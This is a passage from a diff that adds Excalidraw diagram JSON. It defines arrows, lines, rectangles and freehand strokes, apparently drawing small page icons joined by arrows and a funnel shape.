2787.6867514148043, + "y": -2000.4947203422698, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 45.03516613574823, + "height": 46.05607858301512, + "seed": 841704888, + "groupIds": [ + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453654, + "link": null, + "locked": false, + "startBinding": { + "elementId": "3IPmh6YPqBlo0rpYscwY3", + "focus": 0.5480754823156153, + "gap": 14.373484701242432 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 1.901143367586339, + 15.088062236642523 + ], + [ + 39.505163216752955, + 18.406063988038753 + ], + [ + 45.03516613574823, + 46.05607858301512 + ] + ] + }, + { + "type": "arrow", + "version": 2920, + "versionNonce": 1056081184, + "index": "c14sj", + "isDeleted": false, + "id": "PgcECqe6dtx6V5G2eSpNJ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2907.9766964784894, + "y": -2001.7268811784024, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 44.397017257379716, + "height": 48.42934880589484, + "seed": 1411772088, + "groupIds": [ + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453655, + "link": null, + "locked": false, + "startBinding": { + "elementId": "FRNbZgahqqLRFk9wzdOqv", + "focus": -0.48679717574613174, + "gap": 12.248024312552388 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -1.2629944892178366, + 17.46133245952224 + ], + [ + -38.86701433838445, + 20.77933421091847 + ], + [ + -44.397017257379716, + 48.42934880589484 + ] + ] + }, + { + "type": "line", + "version": 1881, + "versionNonce": 1265091808, + "index": "c14sl", + "isDeleted": false, + "id": "j3Pe79eYSihUVLCXPpbLU", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2771.133725419429, + "y": -2062.2058190994367, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 48.498509516518766, + "height": 67.79893677309278, + "seed": 1206343608, + "groupIds": [ + "fwVNMqpLGOXg3uwREfgPP", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453354, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.24744137508408526, + 52.952454268036 + ], + [ + 47.50874401618118, + 52.705012892951295 + ], + [ + 48.25106814143468, + -14.599041129972079 + ], + [ + 13.609275629635732, + -14.846482505056777 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2068, + "versionNonce": 400304352, + "index": "c14sn", + "isDeleted": false, + "id": "BrF79GnsuZ1mkK5m_pG6N", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2768.816904856061, + "y": -2060.487278473818, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 48.498509516518766, + "height": 67.79893677309278, + "seed": 1905500344, + "groupIds": [ + "fwVNMqpLGOXg3uwREfgPP", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453354, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.24744137508408526, + 52.952454268036 + ], + [ + 47.50874401618118, + 52.705012892951295 + ], + [ + 48.25106814143468, + -14.599041129972079 + ], + [ + 13.609275629635732, + -14.846482505056777 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1804, + "versionNonce": 539233504, + "index": "c14sp", + "isDeleted": false, + "id": "s-EiImDlAv3BQ2_ie3TYN", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2766.527182292629, + "y": -2058.768737848197, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 48.498509516518766, + "height": 67.79893677309278, + "seed": 281987512, + "groupIds": [ + "fwVNMqpLGOXg3uwREfgPP", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453354, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.24744137508408526, + 52.952454268036 + ], + [ + 47.50874401618118, + 52.705012892951295 + ], + [ + 48.25106814143468, + -14.599041129972079 + ], + [ + 13.609275629635732, + -14.846482505056777 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1702, + "versionNonce": 500134112, + "index": "c14sr", + "isDeleted": false, + "id": "bMmOEx_dd4lmDd0IYTRIr", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2780.8787820475154, + "y": -2071.883130727665, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 12.619510129298169, + "height": 12.866951504382255, + "seed": 1354551992, + "groupIds": [ + "fwVNMqpLGOXg3uwREfgPP", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453354, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.49488275016817057, + 12.866951504382255 + ], + [ + -12.619510129298169, + 12.866951504382255 + ] + ] + }, + { + "type": "rectangle", + "version": 1699, + "versionNonce": 409883872, + "index": "c14st", + "isDeleted": false, + "id": "CwL3-IgoaFQIPAlRMfYEy", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2780.1364579222636, + "y": -2055.3045585970176, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 24.744137508428167, + "height": 5.196268876769473, + "seed": 1476508600, + "groupIds": [ + "fwVNMqpLGOXg3uwREfgPP", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453354, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1720, + "versionNonce": 630241504, + "index": "c14sv", + "isDeleted": false, + "id": "5lot1vMR0HG4lSEFLO44E", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2780.2669531097954, + "y": -2044.9954387823063, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 24.744137508428167, + "height": 5.196268876769473, + "seed": 1489077432, + "groupIds": [ + "fwVNMqpLGOXg3uwREfgPP", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453354, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1752, + "versionNonce": 684104928, + "index": "c14sx", + "isDeleted": false, + "id": "kgXLc05LRa17F1X0hEa1d", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2780.1364579222636, + "y": -2036.429916421669, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 24.744137508428167, + "height": 5.196268876769473, + "seed": 547368376, + "groupIds": [ + "fwVNMqpLGOXg3uwREfgPP", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1779, + "versionNonce": 329253088, + "index": "c14t", + "isDeleted": false, + "id": "KH37JcuegEZnHgkGAZJgl", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2780.1364579222636, + "y": -2028.36578533403, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 24.744137508428167, + "height": 5.196268876769473, + "seed": 683783864, + "groupIds": [ + "fwVNMqpLGOXg3uwREfgPP", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "HI-d2VdtZobAMIq8lZ7T6", + "type": "arrow" + } + ], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1800, + "versionNonce": 632087776, + "index": "c14t4", + "isDeleted": false, + "id": "3IPmh6YPqBlo0rpYscwY3", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2780.1364579222636, + "y": -2020.0644739202817, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 24.744137508428167, + "height": 5.196268876769473, + "seed": 634003384, + "groupIds": [ + "fwVNMqpLGOXg3uwREfgPP", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "HI-d2VdtZobAMIq8lZ7T6", + "type": "arrow" + }, + { + "id": "8vAcKDwo7gGVS1e0gr5sE", + "type": "arrow" + } + ], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "freedraw", + "version": 1879, + "versionNonce": 1134636256, + "index": "c14t8", + "isDeleted": false, + "id": "1nWzVStXQkQLpWvoB2VF0", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2779.8574753420507, + "y": -2069.221702992083, + "strokeColor": "#364fc711", + "backgroundColor": "transparent", + "width": 42.952491783552496, + "height": 60.61974312093749, + "seed": 400386232, + "groupIds": [ + "fwVNMqpLGOXg3uwREfgPP", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -0.16208487465478996 + ], + [ + 0.16208487465478996, + -0.32416974931019377 + ], + [ + 1.2966789972395478, + -0.48625462396498376 + ], + [ + 5.186715988956963, + -0.48625462396498376 + ], + [ + 8.752583231366026, + -0.48625462396498376 + ], + [ + 12.480535348428651, + -0.9725092479293539 + ], + [ + 16.532657214800857, + -1.6208487465491275 + ], + [ + 20.4226942065195, + -2.107103370514111 + ], + [ + 23.502306824962968, + -2.107103370514111 + ], + [ + 25.28524044616688, + -2.2691882451689014 + ], + [ + 26.58191944340643, + -2.4312731198236914 + ], + [ + 26.74400431806122, + -2.4312731198236914 + ], + [ + 26.257749694095622, + -2.2691882451689014 + ], + [ + 24.636900947546494, + -1.2966789972395476 + ], + [ + 22.04354295306863, + -0.32416974931019377 + ], + [ + 17.829336212040406, + 0.8104243732745637 + ], + [ + 13.128874847047811, + 1.6208487465491275 + ], + [ + 6.807564735506091, + 2.7554428691332706 + ], + [ + 0.9725092479299677, + 3.4037823677530454 + ], + [ + -4.5383764903378045, + 4.21420674102761 + ], + [ + -8.752583231364799, + 4.862546239647383 + ], + [ + -9.563007604639978, + 5.024631114302172 + ], + [ + -9.725092479294766, + 5.3488008636117526 + ], + [ + -9.887177353949555, + 5.3488008636117526 + ], + [ + -9.725092479294766, + 5.672970612921946 + ], + [ + -8.42841348205522, + 5.835055487576736 + ], + [ + -3.8900369917174156, + 6.159225236886317 + ], + [ + -1.4587638718943376, + 6.6454798608513 + ], + [ + 4.700461364992593, + 6.6454798608513 + ], + [ + 12.318450473773861, + 6.807564735506091 + ], + [ + 19.936439582555128, + 6.807564735506091 + ], + [ + 26.906089192716006, + 6.807564735506091 + ], + [ + 28.364853064610347, + 6.807564735506091 + ], + [ + 30.634041309778635, + 6.807564735506091 + ], + [ + 31.930720307018188, + 6.807564735506091 + ], + [ + 32.90322955494815, + 6.807564735506091 + ], + [ + 33.06531442960294, + 7.131734484816285 + ], + [ + 33.06531442960294, + 7.455904234125865 + ], + [ + 33.06531442960294, + 8.266328607400428 + ], + [ + 33.06531442960294, + 8.75258323136541 + ], + [ + 33.06531442960294, + 9.076752980674991 + ], + [ + 32.09280518167297, + 10.211347103259136 + ], + [ + 29.823616936504685, + 10.535516852569327 + ], + [ + 23.98856144892734, + 11.832195849808262 + ], + [ + 21.881458078413832, + 11.994280724463666 + ], + [ + 15.073893342907747, + 12.96678997239302 + ], + [ + 10.859686601879522, + 13.939299220322374 + ], + [ + 7.942158858090847, + 14.749723593596938 + ], + [ + 5.835055487577351, + 15.5601479668715 + ], + [ + 4.5383764903378045, + 15.88431771618108 + ], + [ + 3.4037823677530454, + 16.208487465491274 + ], + [ + 2.431273119824305, + 16.532657214800857 + ], + [ + 1.620848746549128, + 16.85682696411105 + ], + [ + 1.2966789972395478, + 17.01891183876584 + ], + [ + 0.8104243732751776, + 17.01891183876584 + ], + [ + 0.4862546239643699, + 17.01891183876584 + ], + [ + 0, + 17.343081588075417 + ], + [ + -0.9725092479287398, + 17.50516646273021 + ], + [ + -1.4587638718943376, + 17.50516646273021 + ], + [ + -1.7829336212039175, + 17.66725133738562 + ], + [ + -1.9450184958587078, + 17.66725133738562 + ], + [ + -2.5933579944778677, + 17.991421086695194 + ], + [ + -3.727952117062625, + 17.991421086695194 + ], + [ + -4.862546239647383, + 18.153505961349982 + ], + [ + -5.186715988956963, + 18.47767571066018 + ], + [ + -5.348800863611753, + 18.639760585314963 + ], + [ + -5.186715988956963, + 18.963930334624546 + ], + [ + -3.241697493098256, + 19.45018495858953 + ], + [ + 0, + 20.26060933186409 + ], + [ + 3.890036991718643, + 20.908948830483865 + ], + [ + 8.104243732745637, + 21.55728832910303 + ], + [ + 12.318450473773861, + 22.043542953068012 + ], + [ + 19.126015209279956, + 23.01605220099737 + ], + [ + 21.557288329104257, + 23.340221950307562 + ], + [ + 24.474816072891706, + 23.502306824962353 + ], + [ + 25.933579944786047, + 23.66439169961714 + ], + [ + 26.257749694095622, + 23.66439169961714 + ], + [ + 25.28524044616688, + 23.66439169961714 + ], + [ + 22.04354295306863, + 23.988561448926717 + ], + [ + 18.477675710660794, + 24.474816072891702 + ], + [ + 15.073893342907747, + 25.77149507013125 + ], + [ + 11.83219584980949, + 27.39234381668038 + ], + [ + 8.266328607400428, + 30.14778668581365 + ], + [ + 5.510885738267771, + 32.25489005632776 + ], + [ + 3.727952117062625, + 33.55156905356669 + ], + [ + 1.7829336212039175, + 34.84824805080625 + ], + [ + 0.6483394986203875, + 35.8207572987356 + ], + [ + 0, + 36.46909679735538 + ], + [ + -0.4862546239643699, + 36.95535142131974 + ], + [ + 0, + 36.95535142131974 + ], + [ + 0.9725092479299677, + 36.95535142131974 + ], + [ + 4.376291615683013, + 36.307011922700575 + ], + [ + 8.266328607400428, + 36.14492704804518 + ], + [ + 13.453044596358618, + 35.33450267477062 + ], + [ + 17.505166462730827, + 34.68616317615145 + ], + [ + 20.26060933186471, + 34.36199342684126 + ], + [ + 22.69188245168779, + 33.87573880287688 + ], + [ + 22.85396732634258, + 33.55156905356669 + ], + [ + 23.17813707565339, + 33.22739930425711 + ], + [ + 23.340221950308177, + 33.22739930425711 + ], + [ + 23.502306824962968, + 33.065314429602324 + ], + [ + 23.826476574272547, + 33.065314429602324 + ], + [ + 23.98856144892734, + 32.90322955494692 + ], + [ + 24.150646323582126, + 32.90322955494692 + ], + [ + 23.664391699617756, + 33.55156905356669 + ], + [ + 19.936439582555128, + 34.03782367753168 + ], + [ + 15.722232841526907, + 35.010332925461036 + ], + [ + 11.183856351189105, + 36.307011922700575 + ], + [ + 3.890036991718643, + 38.57620016786887 + ], + [ + 0, + 40.68330353838297 + ], + [ + -3.241697493098256, + 42.4662371595869 + ], + [ + -5.510885738266542, + 44.41125565544621 + ], + [ + -7.293819359470461, + 45.38376490337557 + ], + [ + -8.42841348205522, + 46.19418927665014 + ], + [ + -9.076752980674376, + 46.68044390061449 + ], + [ + -9.400922729985187, + 47.00461364992471 + ], + [ + -9.400922729985187, + 47.16669852457948 + ], + [ + -7.942158858090847, + 47.00461364992471 + ], + [ + -6.483394986196512, + 46.8425287752699 + ], + [ + -4.5383764903378045, + 46.8425287752699 + ], + [ + -1.9450184958587078, + 46.8425287752699 + ], + [ + 1.9450184958587078, + 46.68044390061449 + ], + [ + 3.241697493098256, + 46.68044390061449 + ], + [ + 5.67297061292256, + 46.68044390061449 + ], + [ + 9.076752980675609, + 46.68044390061449 + ], + [ + 14.101384094977776, + 46.68044390061449 + ], + [ + 15.884317716181695, + 46.68044390061449 + ], + [ + 19.126015209279956, + 46.68044390061449 + ], + [ + 22.529797577032998, + 46.68044390061449 + ], + [ + 23.826476574272547, + 46.68044390061449 + ], + [ + 24.150646323582126, + 46.68044390061449 + ], + [ + 23.826476574272547, + 46.68044390061449 + ], + [ + 19.936439582555128, + 46.8425287752699 + ], + [ + 14.749723593596938, + 47.32878339923428 + ], + [ + 10.373431977915153, + 48.30129264716362 + ], + [ + 6.645479860851301, + 49.27380189509359 + ], + [ + 3.241697493098256, + 50.57048089233253 + ], + [ + 0.4862546239643699, + 51.70507501491729 + ], + [ + -1.7829336212039175, + 52.83966913750144 + ], + [ + -4.376291615681785, + 54.13634813474098 + ], + [ + -5.186715988956963, + 54.622602758705355 + ], + [ + -5.6729706129213335, + 54.94677250801554 + ], + [ + -5.835055487576122, + 55.10885738267033 + ], + [ + -5.9971403622309145, + 55.10885738267033 + ], + [ + -6.159225236886931, + 55.27094225732512 + ], + [ + -5.6729706129213335, + 55.27094225732512 + ], + [ + -4.052121866372206, + 55.27094225732512 + ], + [ + -1.4587638718943376, + 55.27094225732512 + ], + [ + 3.565867242407835, + 55.75719688129011 + ], + [ + 8.42841348205522, + 56.56762125456467 + ], + [ + 9.563007604639978, + 56.56762125456467 + ], + [ + 11.508026100498684, + 57.05387587852905 + ], + [ + 12.156365599119074, + 57.54013050249403 + ], + [ + 12.318450473773861, + 57.54013050249403 + ], + [ + 12.804705097738232, + 57.54013050249403 + ], + [ + 13.777214345668202, + 57.54013050249403 + ], + [ + 15.073893342907747, + 57.54013050249403 + ], + [ + 18.153505961349982, + 57.54013050249403 + ], + [ + 19.288100083934744, + 57.54013050249403 + ], + [ + 21.557288329104257, + 57.54013050249403 + ], + [ + 24.798985822202514, + 57.86430025180361 + ], + [ + 26.41983456875164, + 58.02638512645841 + ], + [ + 27.230258942025593, + 58.18847000111379 + ], + [ + 27.392343816680384, + 58.18847000111379 + ], + [ + 27.554428691335172, + 58.18847000111379 + ], + [ + 27.87859844064475, + 58.18847000111379 + ], + [ + 27.87859844064475, + 57.86430025180361 + ], + [ + 28.04068331530077, + 57.54013050249403 + ], + [ + 28.04068331530077, + 57.05387587852905 + ], + [ + 28.364853064610347, + 55.43302713197992 + ], + [ + 28.364853064610347, + 54.29843300939578 + ], + [ + 28.364853064610347, + 53.00175401215622 + ], + [ + 28.364853064610347, + 51.542990140261885 + ], + [ + 28.364853064610347, + 50.084226268368155 + ], + [ + 28.364853064610347, + 48.30129264716362 + ], + [ + 28.364853064610347, + 44.7354254047558 + ], + [ + 28.364853064610347, + 43.92500103148123 + ], + [ + 28.202768189955552, + 42.142067410277306 + ], + [ + 27.87859844064475, + 40.197048914418 + ], + [ + 27.87859844064475, + 38.0899455439045 + ], + [ + 27.87859844064475, + 37.44160604528473 + ], + [ + 27.87859844064475, + 36.46909679735538 + ], + [ + 27.87859844064475, + 35.98284217339039 + ], + [ + 27.87859844064475, + 35.8207572987356 + ], + [ + 27.87859844064475, + 35.6586724240808 + ], + [ + 27.87859844064475, + 35.49658754942601 + ], + [ + 27.87859844064475, + 35.33450267477062 + ], + [ + 27.87859844064475, + 35.172417800115824 + ], + [ + 28.04068331530077, + 34.68616317615145 + ], + [ + 28.202768189955552, + 34.52407830149605 + ], + [ + 28.364853064610347, + 33.71365392822148 + ], + [ + 28.364853064610347, + 33.55156905356669 + ], + [ + 28.364853064610347, + 33.065314429602324 + ], + [ + 28.689022813919934, + 32.74114468029213 + ], + [ + 28.689022813919934, + 32.25489005632776 + ], + [ + 28.689022813919934, + 32.09280518167236 + ], + [ + 28.689022813919934, + 31.606550557707983 + ], + [ + 28.52693793926514, + 31.120295933743 + ], + [ + 27.392343816680384, + 29.823616936504074 + ], + [ + 26.906089192716006, + 29.661532061848664 + ], + [ + 23.98856144892734, + 28.364853064609733 + ], + [ + 18.315590836006, + 27.71651356598996 + ], + [ + 13.777214345668202, + 27.71651356598996 + ], + [ + 9.400922729985187, + 27.71651356598996 + ], + [ + 5.67297061292256, + 27.71651356598996 + ], + [ + 2.9175277437886753, + 27.71651356598996 + ], + [ + 0.4862546239643699, + 27.71651356598996 + ], + [ + -1.620848746549128, + 27.71651356598996 + ], + [ + -3.727952117062625, + 27.71651356598996 + ], + [ + -4.5383764903378045, + 27.71651356598996 + ], + [ + -5.510885738266542, + 27.71651356598996 + ], + [ + -6.32131011154172, + 27.71651356598996 + ], + [ + -6.807564735506091, + 27.71651356598996 + ], + [ + -6.96964961016088, + 27.878598440644748 + ], + [ + -6.807564735506091, + 29.01319256322951 + ], + [ + -6.483394986196512, + 30.796126184433422 + ], + [ + -5.9971403622309145, + 32.41697493098255 + ], + [ + -5.835055487576122, + 33.71365392822148 + ], + [ + -5.6729706129213335, + 34.03782367753168 + ], + [ + -5.6729706129213335, + 33.71365392822148 + ], + [ + -5.6729706129213335, + 33.71365392822148 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 1985, + "versionNonce": 346591456, + "index": "c14tC", + "isDeleted": false, + "id": "km_-xcjhggK4peEcUEaIj", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2816.6596366572285, + "y": -1947.2628904144522, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 64.38356358027394, + "height": 56.409107719596626, + "seed": 1520406968, + "groupIds": [ + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.6354670015199122, + 20.37120540459082 + ], + [ + 24.84410141180772, + 30.713898121000014 + ], + [ + 26.14132761537738, + 56.000323188927965 + ], + [ + 37.26203933303296, + 55.499783699291804 + ], + [ + 39.610334780028936, + 30.960055081141803 + ], + [ + 64.38356358027394, + 19.00848067608082 + ], + [ + 64.38356358027394, + -0.4087845306686555 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "freedraw", + "version": 1523, + "versionNonce": 388199648, + "index": "c14tG", + "isDeleted": false, + "id": "o9Q24xNQT0IDn0FWs7cRp", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2846.7092972678415, + "y": -1874.5490694796154, + "strokeColor": "#343a4011", + "backgroundColor": "#ced4da", + "width": 22.70369062454138, + "height": 37.86655970126165, + "seed": 892639928, + "groupIds": [ + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "points": [ + [ + 0, + -27.541691859913307 + ], + [ + 0, + -27.854638634304177 + ], + [ + 0, + -28.480532183085003 + ], + [ + 0, + -29.732319280647577 + ], + [ + 0, + -30.984106378210143 + ], + [ + 0, + -32.23589347577272 + ], + [ + 0, + -33.174733798944416 + ], + [ + 0, + -34.11357412211613 + ], + [ + 0, + -35.05241444528783 + ], + [ + 0, + -36.3042015428504 + ], + [ + 0, + -36.93009509163123 + ], + [ + 0, + -38.18188218919379 + ], + [ + 0, + -38.494828963584666 + ], + [ + 0, + -39.1207225123655 + ], + [ + 0.5405640624879686, + -40.0595628355372 + ], + [ + 0.5405640624879686, + -40.99840315870891 + ], + [ + 1.0811281249790508, + -41.9372434818806 + ], + [ + 1.6216921874670192, + -42.563137030662354 + ], + [ + 1.6216921874670192, + -42.87608380505231 + ], + [ + 2.162256249954988, + -43.18903057944317 + ], + [ + 2.162256249954988, + -43.814924128224 + ], + [ + 2.7028203124460703, + -44.12787090261488 + ], + [ + 2.7028203124460703, + -44.44081767700575 + ], + [ + 3.7839484374220076, + -45.066711225786584 + ], + [ + 3.7839484374220076, + -45.37965800017745 + ], + [ + 4.324512499913089, + -45.69260477456831 + ], + [ + 5.405640624889027, + -45.69260477456831 + ], + [ + 7.027332812359159, + -46.31849832334915 + ], + [ + 9.730153124802118, + -46.63144509774002 + ], + [ + 11.351845312269136, + -47.25733864652086 + ], + [ + 13.514101562227236, + -47.57028542091172 + ], + [ + 14.595229687203174, + -47.88323219530169 + ], + [ + 15.135793749694257, + -48.19617896969255 + ], + [ + 15.676357812182225, + -48.50912574408344 + ], + [ + 16.21692187467019, + -48.50912574408344 + ], + [ + 16.21692187467019, + -48.82207251847429 + ], + [ + 16.21692187467019, + -49.13501929286425 + ], + [ + 16.21692187467019, + -49.76091284164598 + ], + [ + 16.21692187467019, + -50.69975316481769 + ], + [ + 16.21692187467019, + -51.63859348798939 + ], + [ + 16.757485937161274, + -52.890380585551966 + ], + [ + 17.298049999649244, + -54.14216768311363 + ], + [ + 18.919742187116263, + -55.39395478067619 + ], + [ + 18.919742187116263, + -56.3327951038479 + ], + [ + 20.000870312095316, + -57.58458220141048 + ], + [ + 20.541434374583282, + -58.21047575019132 + ], + [ + 20.541434374583282, + -58.83636929897304 + ], + [ + 20.541434374583282, + -59.77520962214474 + ], + [ + 20.541434374583282, + -60.40110317092559 + ], + [ + 20.541434374583282, + -60.714049945316454 + ], + [ + 20.541434374583282, + -61.33994349409729 + ], + [ + 20.541434374583282, + -62.27878381726897 + ], + [ + 20.541434374583282, + -62.591730591659854 + ], + [ + 20.541434374583282, + -63.53057091483154 + ], + [ + 21.08199843707125, + -64.15646446361329 + ], + [ + 22.163126562050298, + -64.78235801239413 + ], + [ + 22.163126562050298, + -65.09530478678501 + ], + [ + 22.70369062454138, + -65.09530478678501 + ], + [ + 22.70369062454138, + -65.40825156117495 + ], + [ + 22.70369062454138, + -65.40825156117495 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 1798, + "versionNonce": 1352784096, + "index": "c14tK", + "isDeleted": false, + "id": "AZzMeGDKZ8AByf8-1nfoT", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2881.5615620271983, + "y": -2061.3125195468774, + "strokeColor": "#000000", + 